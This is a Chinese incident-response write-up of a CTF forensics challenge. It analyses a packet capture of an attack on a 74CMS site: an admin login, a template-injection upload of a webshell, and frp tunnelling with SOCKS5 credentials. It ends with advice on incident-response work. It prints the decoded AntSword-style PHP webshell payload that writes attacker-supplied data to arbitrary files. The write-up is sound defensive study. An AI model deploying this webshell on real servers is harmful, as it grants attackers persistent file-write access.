感谢群友@沉默树人老哥的投稿,感谢分享 。虽然我知道对大佬们都很简单,但是老哥的个人习惯写的WP很长,老应急人,需要分析整个过程才安心,好习惯。
序
少有的应急响应杯,涉及的内容挺多的,流量分析、电子取证、溯源分析等,我这边也和其他师傅一起打了,有空就更一下WP。
PS:分享经验和思路,结合实际谈谈应急响应的思路,别杠我麻烦,我是按应急思路写的。
题目
忘记具体了,没截图,好像就是找到被修改的路径、黑客的工具、回连地址、sock5的账号密码。
然后就丢下一个包去分析。
观察&解题
老应急人了,所以我做题会慢一点,习惯性把所有信息收集一遍。
按照情景来看,该系统被黑客入侵了,修改了某些文件的路径,并且还写马连上了。
0x01 确认环境
在包序为3的包中,可以看到骑士cms系统被打了。
0x02 攻击过程
追包到,包序101的时候可以发现被登陆,利用 test/Admin123!@#。
继续往下追到包序236,发现可疑字段,应该是黑客找到了可利用的洞。登陆后上传,加上骑士cms估计就是模板注入+文件包含了。
下一步估计是写马了,从包序305开始写马探测,顺便这里就可以得出被修改的文件目录为:
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
果然到包序332的时候,看到了写入了1.php,用aaa写入了东西,解码一下,一句话。
接下来看看这个1.php做了什么,包序335可以知道,1.php开始作妖
追着有1.php的包走,到包序345会看到明显的分割,后续全是加密的,结合题目应该是黑客传了工具给加密了。
在包序346就能看到工具了,题目解开——frp
0x03 溯源分析
这里存在较大的迷惑性,是被题目迷惑的,找到黑客使用的sock5账号和密码。如果用ctf的思路,会一直追包,甚至去分析frp的工作流程和sock5的加密。其实在正常应急流程上,思路应该在这个1.php写入的这个frpc.ini上。
首先,试试提取法,小鲨鱼能不能直接拉出frpc.ini,很可惜不行。
把包序往上拉取一下,找到343和344交互,可以看到写入了一些东西
这里就存在一个问题了,这东西是啥?我用我的解码软件常见的都转了一遍,没辙。我们来分析1.php是啥
3.1 木马分析
在343的value字段复制出值:
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$f=base64_decode(substr($_POST["j68071301598f"],2));$c=$_POST["xa5d606e67883a"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
第一眼有点眼熟,翻了一下笔记,蚁剑马,稍微带点变种,无关大雅。
工作流程大概是:
从返回的包(包序344)来看也有一串字符输出用来校验成功了
3.2 解码内容
这里没有被拦截,也没有被混淆。直接16进制转文本就可以得到答案。
关于应急响应
个人感悟,切勿cue。纸上谈兵终误事,只想分享现实中的应急。
1.个人素质方面
- 关于应急响应人员,要做好oncall24小时的准备。到现场不能慌,客户见你慌他也慌。再大的问题先交流,再研判。
- 协同方面,应该收集好各方面的情报,手上有自己一套的分析流程,瞎操作只会徒增时间。
2.个人技能
- 应急是蓝队的一个分支,蓝队很大不只是看看设备,在我理解里监测、分析、研判、溯源、应急等,如果后续可以把我的框架放出来,我会更在博客上。
- 这个题目体现的就是:全流量分析和木马逆向。设备都是结果导向性的,你看设备只会看到设备想你看到你的,而没有自己的分析和筛选,所以脱离监测第一步就是会看流量包。木马分析这个要具备编程基础,对不同的马子有基本的理解,再编程基础上结合流量分析,梳理整个攻击流程。
我只是一个还在成长的安全分析师和随叫随到的应急响应工程师,有疑问和合作请各位大佬留言。